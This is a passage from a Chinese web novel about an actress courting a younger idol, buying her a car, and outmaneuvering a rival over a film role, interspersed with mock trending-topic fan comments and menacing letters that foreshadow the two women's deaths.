苏芙也不好多问，只说：“真是奇了怪了，头一次见你俩谁都不理谁的，别真是吵架了。有矛盾就好好说开嘛，别耽误太久。” 苏寄欢点开祝星亦的聊天界面，敲敲桌面给苏芙看，“她说她忙，这几天不方便见我。” 苏芙一看聊天内容，果然如苏寄欢所说，她松了口气笑道：“那太好了，我以为你们吵架了，可把我担心坏了。” “周末我带她去提车，你别误了时间。” 苏芙笑嘻嘻应道：“好嘞好嘞！” 到了提车日，苏芙才知道苏寄欢要带祝星亦提什么车。 “你送她闪灵？？”苏芙刚扣上安全带嘴巴便合不上了，“你……你妈知道吗？” “不然送什么？送员工同款的大G吗？”苏寄欢催促着，不想回答关于苏菱的话题，“她马上就到店里了，快开车。” 苏芙咽了口唾沫，双手按在方向盘上，深吸一口气问：“我可以问个很冒昧的问题吗？” “你问。” “你是在追她吗？” “是。”苏寄欢微微侧头，沉静地回答。 “那她知道吗？” 苏寄欢的脸僵了僵，浅褐色的双眸划过复杂的神色，“我想，她应该不知道。” 苏芙扑哧一声笑了出来，“舔狗。” “我？”苏寄欢压下眉头愣了愣，“你在开玩笑吗？” 苏芙瞧她这副完全不信的模样，勾着唇角启动车子，“你可以跟我讲讲她是怎么钓你的吗？” “她从未钓过我。”苏寄欢有些苦恼地撑着额头闭上眼，“是我在钓她罢了。” “哦？”苏芙嘴巴团成一个标标准准的[O］字，“那她上钩了吗？” “上了。” “你确定？” “我确定。”苏寄欢深呼一口气，“我在等她完全接受我的那一天。” “你还要等啊？” “她性格就是那样，土象嘛，我对她很有耐心。” “噗——”苏芙笑得身子都在抖，“天啊，我简直不敢相信你居然会用星座给她钓你开脱，你这简直是舔狗的标准模板。” “随便你怎么想，但请你不要再批评她一个字，多说一个字多包一个红包给她。”苏寄欢不再理会苏芙。 她并不觉得祝星亦有什么问题，因为喜欢，因为那层隔阂，她选择向祝星亦走100步，只想听祝星亦亲口承认她也喜欢她。她在一次一次的矛盾里慢慢确定了一些东西，以为马上就能等到祝星亦的心。 但现在，棘手的问题出现了。 有些东西开始变得不确定。 她开始紧张了。 “你真行啊死鸭头，你简直是一个自信的高级舔狗！”苏芙一看苏寄欢这模样，乐得嘴都合不上，“哎，我可算明白你当初为什么要邀请她演《寄明月》了，原来那时候就开始下手了。” 说着，苏芙忍不住嘲讽：“但是臭鸭头，从《寄明月》剧组到现在，这都一年半了，什么动静都没有。你瞧你这钓的，就算再难搞的人，总得起点这样那样的火花了吧，你这还……” 苏寄欢拧着眉毛斥责道：“专心开你的车好不好？” “哎呀呀，舔狗恼羞成怒了哈哈哈哈。” 苏寄欢歪向一旁不再言语。 “鸭头，就算你送她闪灵她都拒绝你的追求，我是指，就算你做到这种地步她都不和你在一起，你会怎么办？” 苏寄欢懒懒地靠着椅背，目光往远处一瞥，眼睛微眯，轻笑道：“她已经在无数个场景无数个问题里拒绝过我了，但是那又怎样？我不在乎。等待并不是一件值得悲伤的事，相反，我会觉得她很值得。另外，你不需要这么武断地否定她的回答，你妹妹可没那么差劲。” “你真从来没有在乎过？”苏芙问。 苏寄欢再一次陷入沉默里。 末了，她轻声回答：“一点点。” “一点点？” “一点点。” 停完车，苏芙跟着苏寄欢一起去4s店里。 走进去环顾四周，在休息区瞥见正在沙发上等待的祝星亦。 祝星亦一头半扎的发，侧面辫了两条小辫子，银色耳环，银色项链，挂脖系带露脐上衣，束带牛仔百褶短裙，脚下穿着白色中筒靴。 苏芙感叹，祝星亦的穿搭真是漂亮，妥妥一个辣妹嘛！ 回想起祝星亦的穿搭，苏芙只叹爱豆不愧是爱豆，形象管理上面可谓是出奇的高。 祝星亦每套私服都非常好看，有甜美的，有帅酷的，有辣妹的，也有清纯可人的。腿长比例好身材好，祝星亦每个风格都能驾驭住，真是天生的衣服架子。 更关键的是，这张明艳的脸已经足够秒杀一切。再加上笑着喊一声[苏老师］，怪不得能把苏寄欢迷得颠三倒四呢。 苏芙侧目瞄了两眼身旁的苏寄欢，却见苏寄欢的眼都要黏在祝星亦身上了。 “喂，臭鸭头，你带她选车，我先去一旁歇着。”苏芙懂事得很，准备开溜。 苏寄欢回过神说：“行。” 苏芙一下道破天机：“所以让我来一趟，是不是要我做你司机来了？你给她买完车坐她车回去？” “知道还问？” “好好好，我是你们play的一环！” 苏寄欢轻轻推了她一下，“那不赶紧消失？” 苏芙正要说什么，休息区的祝星亦走了过来。 祝星亦礼貌颔首道：“二姐好。” 视线移到苏寄欢身上，她深吸一口气，说：“苏老师，好久不见。” “好久不见。”苏寄欢低眸看她，平静无波。 第86章 【热搜】 //热搜一// #苏寄欢苏菱# 【近日苏菱已携苏寄欢现身海关，据悉苏菱将会带苏寄欢前往海外发展】 评论区—— [苏寄欢才10岁就去海外发展呀，苏菱真把她当摇钱树啊，3岁演戏，6岁拿奖，10岁整出国，哎，好残忍］ [她为什么要去海外啊？不过近期确实很少见到苏寄欢的活动了］ [支持苏阿姨的一切决定，我们永远陪着鸭鸭！］ [她还会回来吗？还挺喜欢这个小朋友的］ [崇洋媚外的一家人］ [其实苏菱也挺无奈的，离开也是无奈之举］ [还是没斗过吗？这娱乐圈，终究不是普通人能掌握话语权的天地啊……］ //热搜二// #苏寄欢被SCA破格录取# 【年仅14岁的苏寄欢被SCA破格录取，今年年初，苏寄欢凭借《艾米有一间房子》荣获金贝奖最佳女配角】 评论区—— [破防了，人家14岁去超牛的电影学院学习，我14岁还在逃课去网吧］ [SCA？南加州大学电影艺术学院？！哇！！有好多厉害的电影人，苏寄欢好强啊，以后是不是要走电影制作的路啊！当初去海外果然是个正确的决定！］ [苏寄欢永远是[酥芽］的骄傲！］ [崇洋媚外的一家人］ [马上就能成最年轻的国际影后了吧，这小孩从小就不是普通人］ [苏寄欢能拿绿卡了吗？国内这环境也不怎么好，估计以后不会回来了吧］ //热搜三// #苏寄欢回国# 【苏寄欢将于近期回国发展，本月1日，苏寄欢凭借《第一步》摘取奥拉电影节最佳女主角】 评论区—— [这人谁啊？没听过］ [苏寄欢很牛吗？怎么跑热一了？］ [不认识的人，不过热评里为啥有晏瑾年，苏寄欢能跟晏神比吗？］ [野鸡艺人别跟我家晏神比咖位，你苏回国也是糊咖］ [小道消息，苏寄欢如果回国了会被很多圈内人排挤，是不是真的？］ [在国外混不下去才回来的吧！］ [一晃眼，小苏苏都18岁了呢］ [你终于回来了，[酥芽］等了你8年……苏苏，你还好吗？8年，你过得还好吗？］ [苏苏，欢迎回家］ //热搜四// #苏寄欢[苏盛文化］# 【近日x眼查上显示，[苏盛文化］执行董事、经理职务已变更为苏寄欢。[苏盛文化］于3年前成立，苏菱曾是原执行董事、法人。[苏盛文化］旗下签约艺人有……】 评论区—— [苏苏！苏苏好棒！！苏苏！！！以后就要喊你苏总啦！］ [姐姐，你永远是我们的骄傲］ [22岁的苏苏，新的旅途，新的明天］ [姐姐，我是女的。你好，我是女的。没听到吗？我是女的。Imwomen。瓦达西……］ [评论区提某晏的能不能去死，你家坟是炸了吗在我姐这里评论？］ [我要当姐姐的狗！我要当姐姐的狗！］ [苏总，你可以包养我吗？一个月给我五千就可以，你负责工作，我负责给你暖床］ //热搜五// #苏寄欢晏瑾年# 【第11届金珍珠奖最佳女主角竞争激烈，苏寄欢和晏瑾年二人中，你支持谁？】 评论区—— [某水后也敢跟我们苏姐比，抢不符合自己的剧本也敢抢金奖？贻笑大方］ [笑死，苏营销咖也敢跟我们晏神比，登月碰瓷］ [晏水后又买词条了？那就请各位[瑾一卫］再听一听我家姐姐的称号：苏寄欢，6岁获得长溪电影节最佳女配角、14岁……］ [一个不知道靠什么上位的野鸡也敢跟我们晏氏贵女比？某苏别给自己抬咖了］ [苏寄欢整天一副死人脸，家里死完了吗？］ [晏瑾年长得跟个鬼似的，看着就想吐］ //热搜六// #苏寄欢称很遗憾没有出演《流年》# 【近日采访，苏寄欢称很遗憾没有出演《流年》，“很喜欢《流年》的剧本和聂如容的人设，不过很遗憾没有拿到这个角色。”】 评论区—— [什么都准备好了，临开机换角色，请问某些人是天生的见货吗？某人演聂如容真的适合吗？可笑！！］ [心疼姐姐被抢剧本］ [yjn你死全家］ [抢不到就抢不到，没能力就是没能力，苏寄欢你卖惨有意思吗？你不就是想让别人骂晏神吗？］ [营销咖又开始装上了，没能力就是没能力，抢不过就跪着看我们晏神的电影，闭上嘴还能让你体面点，说出来只会丢人好不好？］ [苏苏……没事的呜呜呜，我们一定会拿到属于我们的剧本］ //热搜七// #祝星亦青春理论# 【《青春理论》第二期，第一期公选排名46的祝星亦一跃成为第1名，你怎么看？】 评论区—— [看完第二期的《followme》的舞台，没有人会不投祝星亦，除非是死人］ [麓舞第一的实力，见证星神伟大！］ [我们星星刚满19岁哦～］ [太震撼了，我从来没有想过内娱舞台上会出现这样的爱豆。她的振幅，她的四肢，她的全开麦，她的盛世美颜……颜值和实力并存，她未来如果不是冠军，那肯定是做票！］ [我爱祝星亦！！我宣布我加入[星海］战队！永远支持祝星亦！］ [天选爱豆啊！她跳舞也太棒了！好有力量！我看了都想下楼跑十圈！］ [颜值、身材、实力，样样有，我号召全家给她投票！她必须第一！内娱需要祝星亦这样的爱豆！］ //热搜八// #祝星亦决赛# 【《青春理论》决赛热门冠军人选祝星亦，现身艺域大厦，请问你支持祝星亦吗？】 评论区—— [星星！！啊啊啊宝宝！你一定要是冠军啊！］ [艺域你就算做票也是做不掉我们星宝的，剪辑的事我们后面再算，艺域你逃不掉的！］ [脾气这么差，祝星亦你也配当冠军！］ [星宝被恶意剪辑害惨了！艺域你不就是想扶自家艺人上去吗？用这么脏的手段拿第一，你们第二季还想不想办了！］ [没有我女，你艺域这个破选秀能有这么大的热度吗？还一直做票恶意剪辑，真是见！］ //热搜九// #祝星亦冠军# 【来自岭州的19岁的祝星亦夺得《青春理论》决赛冠军，将作为Shinyfive女团C位/队长出道】 评论区—— [我们是冠军！］ [今夜，是[星海］和星星的狂欢夜］ [你的星光，永远闪亮。一路走来不容易，[星海］陪你继续走！］ [第一名的祝星亦！啊啊啊！我宝好棒！］ [今天开始，是艺人祝星亦，[星海］与你继续披荆斩棘］ //热搜十// #祝星亦单飞# 【Shinyfive成员祝星亦宣布单飞，Shinyfive也将于下月解散】 评论区—— [尊重星星的选择］ [Shinyfive这么快就解散了吗……才一年啊……］ [为什么连发布会也没有，声势浩大地开始，草草结束吗……］ [是因为祝星亦单飞才解散Shinyfive的吗？祝星亦……你只是拿Shinyfive当跳板吗？］ //热搜十一// #祝星亦最佳女主角# 【祝星亦凭借《祈星海》斩获ETV百合奖最佳女主角】 评论区—— [是爱豆祝星亦，是演员祝星亦，现在是影后祝星亦。星星，你永远是最棒的］ [星星永远是我心中的最佳女主角！］ [不容易啊，演了那么多配角终于演了主角］ [五年了，才演一个主角，风荇……你为什么要这样对星星！］ [如果你当初没有单飞，如果Shinyfive没有解散，你和她们会有更好的结果。我承认你也很适合当演员，但我是Shinyfive的团粉，真的很遗憾你放弃了她们］ //热搜十二// #祝星亦坠楼# 【3月20日21：26，祝星亦坠楼身亡，终年24岁】 评论区—— [不！我不相信！为什么啊！］ [星星，你快告诉这一切是假的……］ [听说是意外，天台那边的栏杆坏了］ [我不信……我追了她五年……她才刚刚获得人生中第一个最佳女主角……我不信……我不信她死了……我不信……她才24岁啊！］ [R.I.P.］ //热搜十三// #苏寄欢坠楼# 【3月20日21：36，苏寄欢坠楼身亡，终年32岁】 评论区—— [为什么啊！为什么啊啊啊啊！姐姐！为什么啊！］ [你快告诉我是假的啊！快告诉我啊！］ [为什么啊，苏苏……为什么啊……］ [怎么回事啊！祝星亦和苏寄欢是同时坠楼吗！］ [她们好像住同一个酒店不同层］ [我听说祝星亦先坠楼的，然后几分钟后苏寄欢就坠楼了］ [她们发生什么冲突了吗？！］ [可是苏寄欢和祝星亦一点都不熟啊！这到底是怎么回事！］ [R.I.P.］ 第87章 【信件】晏瑾年亲启 【信件一】 瑾年： 我已经给了你十天的时间，苏寄欢的续约问题竟然还没解决，你要我怎么跟母亲交待？ 我想你应该明白，不解决苏寄欢的事，会给我们带来多少麻烦。 你没必要在我面前过多解释什么，我不想听你找理由，我只想看到结果。 让苏寄欢继续续约，先拖延时间，拖住苏菱，你懂吗？ 无论付出什么代价，都必须拖住她们。 如果真的没有别的办法，我只能采取特别行动。 ——晏璟霖 /// 【信件二】 瑾年： 你觉得我有多少耐心？你还想让多少人知道这些事？ 我知道你喜欢那丫头，但是晏瑾年，现在孰轻孰重，你分不清吗？！ 我知道现在说什么都没有用，但我告诉你，她太危险了，我会找时间让她闭嘴。 ——晏璟霖 /// 【信件三】 瑾年： 你不需要再跟我解释，你这个废物。 ——晏璟霖 ///—///—/// 【信件一】 瑾年： 你们的事我已经知道了，但我希望你记得你要做什么不要做什么。 她的资源以后由我筛选，我想你应该清楚，如果她只是个普通的爱豆，她会卖个好价钱。但她现在既然和你在一起了，她的价值已经打了大大的折扣。 鱼和熊掌不可兼得。 ——晏璟霖 /// 【信件二】 瑾年： 我想你应该明白，[苏盛］的存在就是危险。 至于那丫头，你没必要在我面前过多解释什么，我不想听你找理由，我只相信我看到的。 不忠诚的人没有存在的必要。 ——晏璟霖 /// 【信件三】 瑾年： 多疑？ 事实摆在你面前你不相信，还要这么自信吗？ 如果苏寄欢真的选择签约她，你知道会有什么后果吗？ 你最好有办法让她闭嘴。 如果你没有，我有。 ——晏璟霖 第88章 现在，开始解释吧 苏芙有眼色，寒暄两句溜了。 苏寄欢没多说什么，带着人去看车。 工作人员跟着过来介绍。 “想要哪个颜色？来之前你想好了吗？”苏寄欢问。 “想好了。”祝星亦指着一辆摩根石粉的闪灵，“这个。” “行。”苏寄欢跟工作人员示意，“试驾吧。” 祝星亦刚拿到驾照，但车开得很熟练。 苏寄欢看她的动作太过娴熟，想要问什么，动动嘴终是没问出口。 不过第一次被祝星亦载着是挺新鲜。 “感觉怎么样？”试完车，苏寄欢取下安全带。 “挺好的。” “决定要这个了？” “对。” 得到她肯定的答案，苏寄欢全款拿下。等祝星亦那边签完合同登记完，工作人员送了专属下午茶。 “慢用。” “谢谢。” 苏芙吃得开心，跟祝星亦随意聊了两句，问起艺域和风荇官司的事儿，祝星亦喝了口红茶说：“现在都还不确定，要先等结果出来。” “风荇指定赢不了，艺域可不怕事。”苏芙对艺域不了解，但对风荇了解得很。 “是吗？” “是啊。” 提完车还要等着领车牌，好在祝星亦办了临时车牌，可以直接把车开回去。 苏寄欢跟着祝星亦走到新车前，跟苏芙挥手，要她先回去。 苏芙摆摆手：“知道了，星星，注意安全啊，开慢点。” “好。” 晚上苏寄欢被祝星亦送回工作室，苏芙按下电梯问：“所以她到底签不签艺域？” “我没问。”电梯开了，苏寄欢走进去。 苏芙哑然：“你没问？你一下午都没问？” “没问。” “那她也没主动跟你说？” “没有。” “怪了。”苏芙后背出了冷汗，“这么大的事她怎么不跟你说？热搜都在说她要签艺域了，她居然不跟你说。” 苏寄欢攥着拳头深吸一口气，有些困倦，“我不清楚。” — 临到《外乡人》试镜，苏芙破门而入把电脑啪地按在桌子上，大惊失色道：“鸭头，完了。” 苏寄欢撑着下巴问：“什么完了？” “你知道晏瑾年要投资《外乡人》的事吗？” “听说了。” “你知道她投资多少钱吗？” “多少？” 苏芙举起手拍桌子，“5000万！她投资了5000万！” 苏寄欢挑起一侧眉，淡淡地哦了一声。 苏芙转身到一动不动的苏寄欢面前推了一把，“5000万啊！姓林的肯定把女主给她了！” “这个我也早就听说过了。” 苏芙没见过苏寄欢这么淡定，主要是再淡定也不能淡定成这样。 从苏寄欢说要试镜费琳一角，苏寄欢便做了很多准备。谁知道晏瑾年直接带资进组抢先拿下主角，那不就等于苏寄欢这么久的准备泡汤了？ “你不生气？” “生什么气？” 苏芙抱着头大喊苏寄欢不正常。 “后天去试镜，先准备试镜就行。”苏寄欢风轻云淡得可怕。 看她这态度，苏芙没办法了。 苏寄欢不在意的事，即便别人要死不活地逼她也不行。 但苏芙不能置之不理。 她找了几个ilmeth的熟人去打听晏瑾年投资的事儿，熟人道：“选角导演那边听林总的话，本来还在讨论要我们自家艺人演，晏小姐跟林总吃了顿饭，角儿就定了。” “铁板钉钉了，费琳一角不需要别人来面试了。” 苏芙咋舌：“不儿，你们怎么这样啊？谁不是在为这个角色做准备？啊？说内定就内定了？早干嘛去了？” 熟人安慰苏芙：“我们这儿一直都是这样啊，拍到一半把换了的事儿也有，都知道拍我们的戏容易火，不都争着抢着来？” 苏芙努力平缓自己的怒气。 这倒也是，ilmeth向来如此，底子硬说话也硬气。 到底是白手起家占了时代红利又吃着官家饭，做事硬手段也硬。 苏芙也不自讨没趣，拿不到角色就不演了，反正苏寄欢那边也有其他本子可选。 但被晏瑾年截胡她怎么都气不过。 原本数名影后争夺费琳一角，显得这个角色很有含金量，现在直接被晏瑾年拿钱买下，这不是打其他期待这个角色的影后们脸吗？ 晏瑾年铁定是看苏寄欢想要这个角色才这么做的！绝对是这样！ “哦，对了，你知道谁演女二吗？” 苏芙问：“谁？” “晏瑾年指定了祝星亦。祝星亦你应该知道吧，你们苏小姐的学生。” “祝星亦也免面试，直接拿了角色呢。” 苏芙：“什么？” “诶，你不知道这个事吗？那天，晏瑾年是带着祝星亦跟林总一起吃饭的。” /// 试镜那天，苏寄欢迟迟等不到苏芙过来找她。 苏寄欢敲开苏芙办公室的门，“你怎么了？允声在楼下等着了。” “你还去什么去？嗯？”苏芙按着桌子站起，“这个角色已经……” “已经不需要面试了，是吧？”苏寄欢打断她的话。 苏芙握紧拳头，“你知道还问？你去也是白跑一趟，去干嘛？去当乐子吗！” 看她生气，苏寄欢也不恼，轻声细语说：“当然要去，要看看其他角色。” “你有毛病？死鸭头你真想当晏瑾年的乐子吗！”苏芙心里憋屈，她为苏寄欢感到不值。 论演技，晏瑾年难及苏寄欢。晏瑾年虽也是科班出身，表演却流于表面，匠气过重。苏寄欢则截然不同，她能融入角色，赋予其灵魂，不着痕迹，让观众觉得她就是角色本人。 两人也风格不一样，偏偏晏瑾年喜欢处处针对苏寄欢，总是抢苏寄欢的本子。苏寄欢这边抢得过也就算了，抢不过只会一肚子窝囊气。 苏芙继续吼着：“怎么，你还要白跑一趟等他们通知你这个角色早就被内定了？你知不知道星星也被她带着直接进组了？什么意思啊？她抢你的角色也要抢你的学生，你就坐视不管，然后还跟哈巴狗似的过去等她羞辱你啊！” 声音分贝过大，苏寄欢捂住一只耳朵。 她摆了摆手，“你不走我就先下去了。” 说着，转身离开。 “苏寄欢！！！” 苏寄欢停住脚步，声音淡淡：“你是觉得林小姐真的很喜欢晏瑾年，还是觉得我会眼睁睁看着星星跟她进组？” 苏芙身子滞了下，“你……什么意思？” “想知道？”苏寄欢拉开门，半只脚踏出去，“先上车。” 《沉默的外乡人》试镜地点在斯利奥酒店。 戴黑金色工作牌的工作人员拿着资料去等候厅喊了一个名字：“周娅，3号厅。” 3号厅是重要群演的试镜厅，群演导演负责面试。 等待的人群中，名为周娅的女人跟着工作人员去往3号厅。 余下的人还在等候被叫名字。 叮。电梯门开。 金允声带苏寄欢去往1号大厅。 脚步愈渐沉重。 苏芙瞥了一眼行色匆匆的群演试镜者，快步和苏寄欢并肩，“你到底想要我看什么？” 苏寄欢瞄她一眼，“别急。” “总说别急别急，我都要急死了！” 苏寄欢含笑：“心急看不了好戏。” 苏芙呛她：“还看戏，我看你才是那个小丑，我跟你讲，星星今天不来面试，晏瑾年也不来面试，就你巴巴地过来，明天热搜就嘲讽你。” “嘲我的还少？” “你！！” “苏小姐，这边请。”工作人员从门前跑了过来，躬身邀请。 苏寄欢：“好，谢谢。” 苏芙跟着进去。 头排眼熟的人起身。 “寄欢，好久不见。” “好久不见，赵导。” 《外乡人》导演赵瑞茜握上苏寄欢的手，“你来得正好，配角还没开始试。” 她握着苏寄欢的手转向一侧，介绍道：“这是我们的编剧，薛青芳。” 女人穿着得体，约莫40岁，齐肩发，眼睛明亮，岁月的沉淀给她添了一层从容不迫的气质。 薛青芳伸出手，“寄欢，你好。” 苏寄欢赶忙握上她的手：“薛女士，你好。” 好的编剧难得，话语权大的编剧更难得。 恰好薛青芳二者兼备。 苏寄欢一直都想演薛青芳的本子，但一直没有合适的机会和角色。 她等来了费琳，但演不了费琳。 “没能成为你的女主角，实在遗憾。”苏寄欢握着的手紧了紧。 苏寄欢是一个标准的文艺工作者，演戏是她的工作也是生活。她喜欢挑好剧本，喜欢演好角色。 但她不是每次都能选到好剧本。 有的剧本要等很久，一年，两年，十年。 对很多演员来说，也许一辈子都等不到那个最佳剧本。 但等到了，也可能会被人抢走，望着空空如也的手心叹息。 苏寄欢不喜欢被抢剧本，但她不是无所不能的苏寄欢。 她控制不了很多东西。 薛青芳想说很多话，她蹙着眉看了苏寄欢好久，最终沉默着笑了。 苏寄欢也跟着笑了。 “寄欢，这几位是蔡导、孔导、于导。” 苏寄欢依次跟角色、分组导演打招呼。 聊了几句，几人坐下，赵瑞茜道：“今天试完要跟关总监吃顿饭，叶霏她们会提前在餐厅等着。” 叶霏是《外乡人》制片人，关南欣是ilmeth影视公司执行总监，同时，ilmeth也是最大的投资方兼出品方。 苏寄欢颔首：“好。” 苏芙跟苏寄欢耳语：“你怎么坐这里了？你不是要试镜吗？” 苏寄欢偏头低声道：“你先闭嘴，饭桌上再聊。” 一等，就等到了晚上。 结束后，大厅门打开。苏芙小跑到外面拿自己的外卖，到隔间吃糖水。 “苏芙？”戴着黑金工作牌的梁雯路过隔间门口探了下身子，见人抬头，吃惊道：“真是你？你怎么在这儿？” 苏芙冲梁雯招招手：“雯雯啊，来，我点的东西多，吃点。我饿坏了，但等下还要去跟她们一起吃饭。” 她指了指桌上的西多士和香芋地瓜丸，“点太多了，你来吃点。” 梁雯摆摆手：“我和我同事约好餐厅了，今天选角怎么样啊？” 苏芙尴尬一笑：“我哪里懂什么选角，纯粹是跟我妹在那呆坐了一天。” “寄欢肯定不是呆坐一天啊，她也要帮忙选角的。” “什么？” 听有同事喊，梁雯跟苏芙告别：“我先走了啊苏芙，有空聊。” 苏芙咬了一口芋圆纳闷：“要帮忙选角？这剧组有病吧！不给角色演还要拉人选角，不带这样侮辱人的！” 看着一点都没动的炸物，苏芙一口气喝完糖水，整理好出门拉个人说：“西多士和地瓜丸我都没打开，送你吃了。” 那人来不及说谢谢，苏芙就走了。 “周娅，走了。”同伴喊。 周娅看看手中的西多士和地瓜丸，转身跑过去。 “啊？你点外卖啦！不是约好一起吃炒米粉的吗？” 周娅笑笑：“别人送的，看模样像是资方大姥那边的人。” “蛙趣！资方大姥！” 周娅晃晃炸物，一脸开心：“走，咱们去吃炒米粉！” “平青站步行街那里10块一份，还能点淀粉肠。” “五块钱两根……别吃淀粉肠了，吃这个就行了。很香呢！” “行，吃资方大姥送的小吃！” “周娅，你试镜咋样？” “比上次棒多了，我有*两句台词呢！” “我就不行啦，我只是普通群演，就露个脸。” “一次比一次好就行啦！” /// 稍晚点，两人才到达餐厅。 苏芙跟着苏寄欢去往相应的包间。 疑惑中，苏芙忍不住开口问：“臭鸭头，你是不是有什么瞒着我？” 苏寄欢按了电梯：“别急。” 苏芙怒道：“还别急呢，你到底要搞什么？！” “马上就知道了。”苏寄欢抬步进电梯，转身，冲苏芙笑笑，“你别这样，待会儿见到她们多失礼。” 苏芙攥紧拳头，“别说失礼了，你信不信我马上失心疯给你看！” 苏寄欢笑而不语。 还没走进包间，走廊上又碰见一个熟人。 “苏小姐。”黎依跟苏寄欢招手，又跟苏芙打招呼，“芙芙。” 苏芙纳闷：“依依？你怎么在这儿？” 黎依是ilmeth影视的项目策划总监，苏芙跟她是老同学，熟点。 “哈哈哈哈当然是制作团队聚餐啊，你们在6号房，赶紧进去吧，关总在等着了。”黎依指了个方向，“我在你们隔壁。” 苏芙喃喃：“制作团队聚餐……关我们什么事？” 黎依睁大眼睛，“怎么不关？” 苏寄欢见状推了下苏芙，颔首道：“依依我们先进去了。” 开门进去，一个蛋卷头的女人正在和两个人说话。 其中一个人一直在点头，面无表情。 另一个人含笑隔着一个位置和蛋卷头女人聊天，时不时还想触碰冷脸的女人，只可惜都被冷脸女人躲了去。 桌上其他人是熟人，譬如白天见的赵导她们。也有没见过的人，但很眼熟。 苏芙愣住了，她完全不知道被邀请到这间房所为何事。 晏瑾年已经拿到了女主角，祝星亦也拿到了女二号，苏寄欢今天没有试镜不说，还白白在试镜厅等了那么久。 关南欣闻声朝门口望去，忙起身笑道：“寄欢，来，坐这里。” 她指了指身旁的位置。 瞬间，两个女人惊愕地抬头。 像石像一般定住了。 苏芙随便找了个空位坐下，跟一旁的人打招呼。 “我来迟了，不好意思。”苏寄欢弯着眉到走到空位那里。 关南欣热切地拉住苏寄欢的手，笑说：“哪里的话，我们也是刚到。” 苏寄欢移开椅子，轻轻俯视身旁的晏瑾年。 转头跟关南欣说：“关总，可以换个位置吗？” 关南欣：“可以啊，你想坐哪里就坐哪里。” 苏寄欢颔首道：“我想让星星坐我旁边，我毕竟是她老师，方便照顾她些。” 晏瑾年黑着脸，还未开口，关南欣探了下身子瞄了眼祝星亦道：“当然可以啊，换个位置而已，又不是什么大不了的事。晏小姐，方便吗？” [又不是什么大不了的事］。 晏瑾年听了也不好多说什么，“方便。” 起身，跟一旁的祝星亦换位置。 祝星亦低着头站到苏寄欢身旁。 苏寄欢帮忙拉了下椅子，“坐。” 目光紧紧跟着小狐狸，看小狐狸一头雾水坐下，苏寄欢才翘着唇角跟着坐下。 于是，关南欣坐在主位，苏寄欢坐在她右手边。苏寄欢的右手边是祝星亦，紧接着是晏瑾年。 祝星亦夹在了苏寄欢和晏瑾年中间。 苏寄欢抬手倒了杯茶，垂眸盯着祝星亦的侧脸，“很紧张吗？” “没有。”祝星亦握上茶杯，声音低得都要听不到了。 苏寄欢往后靠了下，目光落在晏瑾年身上。 隔着祝星亦，晏瑾年也看向苏寄欢。 沉默代替了很多语言。 关南欣看人齐了，步入主题。 “想必两位主演和制作组先前也都见过面了，那我就不多介绍。”关南欣身子往苏寄欢身旁侧了侧，“现在要介绍一下我们《沉默的外乡人》的监制，苏寄欢。” “寄欢是我们林总特邀的监制，负责本电影的剧本修改、艺术创作、发行等工作，同时监督导演拍摄和对主演的表演监督。” 监制？ 监制？？！！ 晏瑾年的眸子颤动了几秒。 监制？ 把控拍摄进度，全程跟拍，只会坐在那里对所有人指指点点脾气还大的监制？ 晏瑾年面色铁青地攥紧拳头，怒气从手心往外冒。 她给这部电影投了5000万，还赠送了几个品牌的赞助，好不容易拿下女主顺便给祝星亦拿下女二，那个姓林的把苏寄欢请过来当监制？？ 苏寄欢当监制，那不就等于…… 她要被苏寄欢管理？ 姓林的什么意思！！ 人太多，晏瑾年不好发脾气，只能阴沉着脸死死盯着苏寄欢。 关南欣含笑说：“寄欢，今天选角你应该和赵导、薛编见过了吧？” 苏寄欢点头。 “好，那我就不介绍了，你先简单说两句。” 苏寄欢起身，声音平稳有力：“很高兴被林总邀请过来担任《外乡人》的监制，在做好本职工作的同时，我也会配合团队完成这部作品。” 饭桌上响起了掌声。 关南欣眼含笑意起身，“虽然寄欢是第一次当电影监制，但作为经验丰富的文艺工作者，寄欢的能力被林总看在眼里，相信你一定会做得很好。” 苏寄欢：“谢谢林总赏识。” “另外……”苏寄欢侧身低眸看了祝星亦一眼，“作为星星的老师，本次电影拍摄，我会担任她的表演指导，希望她不会拖晏小姐的后腿。” 她的手轻轻拍了下桌子。 祝星亦缓缓起身。 面对着各个作品傍身、经验丰富的行业大姥，还有身旁苏寄欢的威严，以及隐瞒的恐惧和愧疚，她深吸一口气，道：“谢谢苏老师，我会用心阐释这个角色。” 看她有些紧张，苏寄欢抬手拍拍她的背。慢慢地，她放松了些，还仰起脸直视苏寄欢的眼。 苏寄欢这才放心了。 “晏小姐。”苏寄欢忽然点了下晏瑾年的名字。 众人的目光移到晏瑾年身上。 晏瑾年脊背挺得笔直，紧抿的薄唇几近成一条毫无血色的直线。 整间屋子安静得可怕。 许久，晏瑾年起身。 苏寄欢不紧不慢道：“恭喜你拿到了费琳这个角色，相信在你的演绎下，故事会更加精彩。我很期待我们的合作。” 晏瑾年腮边肌肉微微颤动，压制着隐忍的怒火淡声道：“我也很期待跟你的合作。” “这是二位第一次合作吧？”关南欣问。 苏寄欢点头。 关南欣笑说：“我们林总就是奔着二位合作有看头，才这样安排的。你们二位影后的名气大，一个当主演，一个当监制，等电影上映，奔着二位的名气，观众都想去电影院看一看呢。” 赵导跟着说：“林总真的很有商业头脑，你们二位首次合作也是个噱头，另外寄欢当监制又当指导老师，也算是和星星二搭了？” “算呢。”蔡导说，“正好也利用一下你们二位cp的热度。” 一说到卖cp，关南欣忙跟着聊了起来：“韩芸当初给你们做的营销策略真是太正确了，我前些天还去参加业内影视公司的营销大会，韩芸专门把你们二人的cp当案例讲。双女主cp火成这个样子可真是少见，冒昧问一句，你们二人不会真谈了吧？” 话题突然转到二人的cp上，饭桌上热闹了不少。 几人笑了起来，跟着问：“是啊，你们不会真谈了吧？” “谈了肯定会告诉大家。”苏寄欢顿了下，面不改色道。 “行啊行啊，cp磕到真的也算是一个话题。” 大家就着这个话题聊得刹不住，丝毫没人在意晏瑾年的《辞旧赋》便是因为二人的cp败给了《寄明月》。 一顿饭过后，关于电影的聊天竟然占比不大。年后这部电影才开拍，前期工作还在继续准备着，苏寄欢与关南欣多聊了几句，迈步到祝星亦身边。 晏瑾年声音里透着不悦，“苏寄欢，你故意的？” “林总花大价钱邀我来做监制，我欣然应邀，哪里故意？”苏寄欢挑起一侧眉，声线清冽，“你投了5000万，角色拿到了，到时候分红也不少，你不应该更高兴点儿？” 她走近晏瑾年，淡漠的眼里泛起星星点点的狡黠，“晏小姐，你可要好好演，你是这部电影的一番，演得好了票房高，我还能多蹭点分红。” “你！！！” 